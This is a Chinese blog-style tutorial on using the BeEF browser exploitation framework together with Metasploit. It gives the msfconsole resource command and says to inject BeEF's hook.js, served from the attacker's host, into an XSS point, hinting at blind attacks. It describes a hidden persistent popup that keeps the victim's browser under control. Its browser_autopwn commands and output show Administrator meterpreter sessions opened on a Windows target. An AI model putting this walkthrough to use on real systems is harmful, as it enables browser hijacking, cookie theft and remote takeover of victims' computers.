秒杀Xsser.me的渗透工具Beef
Beef是一个强大的Xss专业安全工具，不像其他的Xss渗透测试工具，Beef可以利用各种Exploit对浏览器进行渗透测试，并且设有对Metasploit的接口，利用msf丰富的漏洞资源进行安全评估。
2.如何安装Beef
具体安装的方法不多说了
3.利用Beef进行渗透测试
首先运行beef并且和msf衔接
查看源代码
打印帮助
1 msfconsole -r ./test/thirdparty/msf/unit/BeEF.rc
找到Xss利用的地方 插入我们的攻击代码 js的话Beef给了默认的js http://yourip:3000/hook.js 就用这个js吧！
当对方触发了攻击代码 我们的控制端便会出现类似主机上线的画面
在图中我们可以清楚的了解到 对方的操作系统是windows2003 浏览器是ie6.0 cookie以及中招的页面 （盲打你懂得）
我们可以发送各种命令给在线的主机 点击进入Command界面
为了控制的时间更长一些 我们可以发送一个命令让右下角悄悄的弹一个小窗 即使对方关闭网页 小窗还在 还是可以控制
我们还可以调用各种浏览器漏洞来攻击
下面 我们测试一下
使用msf自带的浏览器自动攻击脚本
查看源代码
打印帮助
1 msf > use server/browser_autopwn
2 msf auxiliary(browser_autopwn) > set uripath /
3 uripath => /
4 msf auxiliary(browser_autopwn) > set lhost 192.168.128.132
5 lhost => 192.168.128.132
6 msf auxiliary(browser_autopwn) > run
7 [*] Auxiliary module execution completed
8
9 [*] Setup
10 [*] Obfuscating initial javascript 2012-12-15 00:31:20 -0800
11 msf auxiliary(browser_autopwn) > [*] Done in 0.986208467 seconds
12
13 [*] Starting exploit modules on host 192.168.128.132...
14 [*] ---
15
16 [*] --- Done, found 26 exploit modules
17
18 [*] Using URL: http://0.0.0.0:8080/
19 [*] Local IP: http://192.168.128.132:8080/
20 [*] Server started.
21
22 sessions
23
24 Active sessions
25 ===============
26
27 Id Type Information Connection
28 -- ---- ----------- ----------
29 1 meterpreter x86/win32 DELL-3C52E6EC1C\Administrator @ DELL-3C52E6EC1C 192.168.128.132:3333 -> 192.168.128.129:2363 (192.168.128.129)
30 2 meterpreter x86/win32 DELL-3C52E6EC1C\Administrator @ DELL-3C52E6EC1C 192.168.128.132:3333 -> 192.168.128.129:2364 (192.168.128.129)
31
32 msf auxiliary(browser_autopwn) >
我们从界面中看到目标还安装了java等等 可以根据各种信息结合msf来进行渗透测试 包括测试一些已知的溢出漏洞等等
具体的EXP可以看Commands里面的介绍 有很多 甚至有一个是利用IOS 的Safari 给他人打电话！ LoL